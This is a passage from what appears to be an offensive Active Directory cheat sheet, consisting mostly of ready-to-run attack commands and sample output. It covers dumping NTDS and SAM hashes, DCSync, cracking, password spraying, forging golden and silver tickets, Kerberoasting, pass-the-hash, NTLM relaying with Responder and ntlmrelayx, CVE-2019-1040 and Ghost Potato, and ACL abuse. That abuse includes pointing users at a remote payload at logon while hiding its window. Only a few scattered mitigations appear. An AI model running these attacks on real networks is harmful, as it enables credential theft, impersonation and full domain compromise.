secretdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretdump also works remotely

```
./secretdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status  
./secretdump.py -hashes  
aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc  
PENTESTLAB/dc/$@10.0.0.1
```

- -pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
- -user-status: Display whether or not the user is disabled.



## Alternatives - modules

Metasploit modules

```
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
```

## Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.


```
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
```

```
# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
```



Read-Only Domain Controllers are not allowed to pull password data for users by default.

## Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller.   
Requires administrator access with debug or Local SYSTEM rights

```
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```

## Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists:

- rockyou (available in Kali Linux)
- Have I Been Powned (<https://hashes.org/download.php?hashlistId=7290&type=hfound>)
- Collection #1 (passwords from Data Breaches, might be illegal to possess)

```
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r
./rules/best64.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o
hashcat_1H.hcmask
```

⚠ If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :

- [hashes.org](https://hashes.org)
- [hashes.com](https://hashes.com)

## Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

- P@ssw0rd01, Password123, mimikatz
- Welcome1/Welcome01
- \$Companyname1 : \$Microsoft1
- SeasonYear : Winter2019\*,Spring2020!,Summer2018?
- Default AD password with simple mutations such as number-1, special character iteration (\*,?,!,#)

## Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

```
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com
domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -
passwords passwords.txt -outputfile jurassic_passwords.txt
```

## Spray a pre-generated passwords list

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

```
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(. /mp64.bin Pass@wor?l?a)`
```

## Spray passwords against the RDP service

Using RDPassSpray to target RDP services.

```
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```

Using hydra and ncrack to target RDP services.

```
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt
rdp://10.10.10.10
ncrack -connection-limit 1 -vv --user administrator -P password-file.txt
rdp://10.10.10.10
```

## Password in AD User comment

```
enum4linux | grep -i desc
```

There are 3-4 fields that seem to be common in most AD schemas:  
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

```
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired, PasswordChangeable, Description, SID
```

or dump the Active Directory and grep the content.

```
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```

## Reading LAPS Password

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

### Determine if LAPS is installed

```
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'  
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'  
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

### Extract LAPS password

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

- Powerview

```
PS > Import-Module .\PowerView.ps1  
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd, ComputerName, ms-mcs-AdmPwdExpirationTime
```

- ldapsearch

```
ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>"  
"(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
```

- LAPSDumper - <https://github.com/n00py/LAPSDumper>

```
python laps.py -u user -p password -d domain.local  
python laps.py -u user -p  
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaae8fb117ad06bdd830b7586c -d  
domain.local -l dc01.domain.local
```

- Powershell AdmPwd.PS

```
foreach ($objResult in $colResults){$objComputer = $objResult.Properties;  
$objComputer.name|where {$objcomputer.name -ne $env:computername}|%  
{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
```

## Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

### Using Mimikatz

```
# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e
/ticket:evil.tck /ptt
kerberos::tgt
```

### Using Meterpreter

```
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

### Using a ticket on Linux

```
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBtgt -domain-sid SID_DOMAIN_A -domain DEV
Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains
configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache
velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi
velociraptor.ccache
Converting kirbi => ccache
```

Mitigations:

- Hard to detect because they are legit TGT tickets
- Mimikatz generate a golden ticket with a life-span of 10 years

## Pass-the-Ticket Silver Tickets

Forging a TGS require machine account password (key) or NTLM hash of the service account.

```
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /
target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-
1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
/target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-
1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus
/service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1
AD/administrator@192.168.1.100
```

Interesting services to target with a silver ticket :

Service Type	Service Silver Tickets	Attack
WMI	HOST + RPCSS	wmic.exe /authority:"kerberos:DOMAIN\ DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting	HTTP + wsman	New-PSSession -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM	HTTP + wsman	New-PSSession -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks	HOST	schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS)	CIFS	dir \\dc01\c\$
LDAP operations	LDAP	lsadump::dcsync /dc:dc01

Service Type	Service Silver Tickets	Attack
including Mimikatz DCSync		/domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools	RPCSS + LDAP + CIFS	/
Mitigations:		

- Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

## Kerberoasting

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](#)

Any valid domain user can request a kerberos ticket (TGS) for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

```
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
```

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName	Name	MemberOf
PasswordLastSet	LastLogon	
-----	-----	
-----	-----	
active/CIFS:445	Administrator	CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb	2018-07-18 21:06:40	2018-12-03 17:11:11

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/
CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f49
03deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439d
c54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4
daedbcb9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3
cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a8
6ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9
c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a
65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab095
5f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df81797288
21cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9e
db970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea3
9ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e49
6db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fa
d91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda3
3de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aaffffde48b8cc48b1ec
8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da
5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c8
83519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0a
b695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e74708
5142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb25837579
53247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d87
```

1406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2

Alternatively with [Rubeus](#)

```
# Kerberoast (RC4 ticket)
.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD
/outfile:hash.txt

# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4
tickets requested.
Rubeus.exe kerberoast /tgtdeleg

# Kerberoast (RC4 ticket)
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated
and roasted.
Rubeus.exe kerberoast /rc4opsec
```

Alternatively with [PowerView](#)

```
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```

Alternatively on macOS machine you can use [bifrost](#)

```
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-
lab.lab.local -kerberoast true
```

Then crack the ticket using the correct hashcat mode (\$krb5tgs\$23= etype 23)

Mode	Description
13100	Kerberos 5 TGS-REP etype 23 (RC4)
19600	Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700	Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)

```
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs
~/kerberos_hashes.txt
```

Mitigations:

- Have a very long password for your accounts with SPNs (> 32 characters)
- Make sure no users have SPNs

## KRB\_AS\_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Prerequisite:

- Accounts have to have **DONT\_REQ\_PREAUTH** (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)

```
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat
/outfile:hashes.asreproast
```

v1.3.4

```
[*] Target User      : TestOU3user
[*] Target Domain    : testlab.local
```

```
[*] SamAccountName      : TestOU3user
[*] DistinguishedName   :
CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
```

```
C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast
```

```
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
```

```
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-
alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7ae561334cd58a
56af90f7fbb20bbd4493b6754a57d5ebc08cb7f47ea472ebb7c9ba4260f57c11b664be0319155025
4e5c77a17518aeabc55f9321bd9f52201df820e130aa0e3f4b0986725fd3a14794433881050eb62d
384c4058a407a348a7de2ef0767a99c9df4f85d8eba8ce30a4ad59621c51f8ea8c0d33f33e06bea1
d8ff28d7a86fc2010fd7fa45d2fcc2178cb13c1006823aec8a5da10cffccee6e978754b0d4976df
5cccb4beb9776d5a8f4810153ccc0e1237ec74e6ae61402457c6cfe29bca7c2f62b287f13aff063f
5a0a21c728581e43b46d7537b3e776b4
```

```
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile
usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py
jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile
hashes.asreproast
```

```
# crack AS_REP messages
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast
passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\
rockyou.txt
```

- All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).



## Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren't the built-in RID 500.

```
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash`
attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM
(aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```

or with crackmapexec

```
cme smb 10.2.0.2 -u jarrieta -H
'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...
```

or with psexec

```
proxychains python ./psexec.py jarrieta@10.2.0.2 -
hashes :489a04c09a5debbc9b975356693e179d
```

or with the builtin Windows RDP and mimikatz

```
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm
hash> /run:"mstsc.exe /restrictedadmin"
```

You can extract the local **SAM database** to find the local administrator hash :

```
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```

## OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash then you can connect to the machine using the TGT.

### Using impacket

```
root@kali:impacket-examples$ python ./getTGT.py -
hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export
KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py
jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```

also with the AES Key if you have it

```
root@kali:impacket-examples$ ./getTGT.py -aesKey
xxxxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
```

```
ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hmac-md5 -w
1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykeys tgwynn@LAB.ROPNOP.COM
```

klist

## Using Rubeus

```
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park
/user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```

## Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

```
python Responder.py -I eth0
```

Then crack the hash with hashcat

```
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

## NTLMv2 hashes relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash	Hashcat	Attack method
LM	3000	crack/pass the hash
NTLM/NTHash	1000	crack/pass the hash
NTLMv1/Net-NTLMv1	5500	crack/relay attack
NTLMv2/Net-NTLMv2	5600	crack/relay attack

## MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim's own credentials.

- <https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068>

```
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

## SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMV2 hashes relay and get a shell access on the machine.

1. Open the Responder.conf file and set the value of SMB and HTTP to Off.

```
[Responder Core]
; Servers to start
...
SMB = Off      # Turn this off
HTTP = Off     # Turn this off
```

2. Run `python RunFinger.py -i IP_Range` to detect machine with SMB signing:disabled.
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
4. Also you can use `ntlmrelayx` to dump the SAM database of the targets in the list.

```
ntlmrelayx.py -tf targets.txt
```

5. `ntlmrelayx` can also act as a SOCK proxy with every compromised sessions.

```
$ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
```

Protocol	Target	Username	Port
MSSQL	192.168.48.230	VULNERABLE/ADMINISTRATOR	1433
SMB	192.168.48.230	CONTOSO/NORMALUSER1	445
MSSQL	192.168.48.230	CONTOSO/NORMALUSER1	1433

```
$ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth
```

## Mitigations:

- Disable LLMNR via group policy

Open `gpedit.msc` and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled

- Disable NBT-NS

This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP

## SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```
cme smb $hosts --gen-relay-list relay.txt
```

```
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
mitm6 -i eth0 -d $domain
```

```
# spoofing WPAD and relaying NTLM credentials
ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt
or
ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug
```

## Drop the MIC

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with [cve-2019-1040-scanner](#)

```
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by
SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was
rejected)
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD

```
TERM1> python printerbug.py
testsegment.local/testuser@s2012exc.testsegment.local <attacker
ip/hostname>
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t
ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
```

- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

```
# create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --
delegate-access -smb2support
TERM2> python printerbug.py relaytest.local/testuser@second-dc-server
10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local
'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```

## Ghost Potato - CVE-2019-1384

Prerequisites:

- User must be a member of the local Administrators group
- User must be a member of the Backup Operators group
- Token must be elevated

Using a modified version of ntlmrelayx : <https://shenaniganslabs.io/files/impacket-ghostpotato.zip>

```
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

## Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object "CN=AdminSDHolder,CN=System," or set "adminCount" attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with AdminCount=1.

```
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .SAMAccountName[]'
domain_users.json
or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```

## AdminSDHolder Abuse

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

```
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity
'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights
All

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights
ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -
PrincipalSamAccountName toto -Verbose -Rights All
Add-DomainObjectAcl -TargetIdentity
'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights
All
```

## Abusing Active Directory ACLs/ACEs

Check ACL for an User with [ADACLScanner](#).

```
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope
subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```

## GenericAll

- **GenericAll on User** : We can reset user's password without knowing the current password

- **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : `net group "domain admins" spotless /add /domain`

GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.

```
# using PowerView
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_ .IdentityReferenceName -match "RDPUsers"}

# Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname

# Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
```

## GenericWrite


- Reset another user's password
 

```
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/
situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user,
$pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass
-Credential $creds;
```
- WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`

## GenericWrite and Remote Connection Manager

Now let's say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called 'Environment'.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the 'Starting program' field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - <https://sensepost.com/blog/2020/ace-to-rce/>

 The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

```
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
```

```
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"  
$UserObject.TerminalServicesWorkDirectory = "C:\"  
$UserObject.SetInfo()
```

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

## WriteDACL

To abuse WriteDACL to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACL Pwn](#) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured :

```
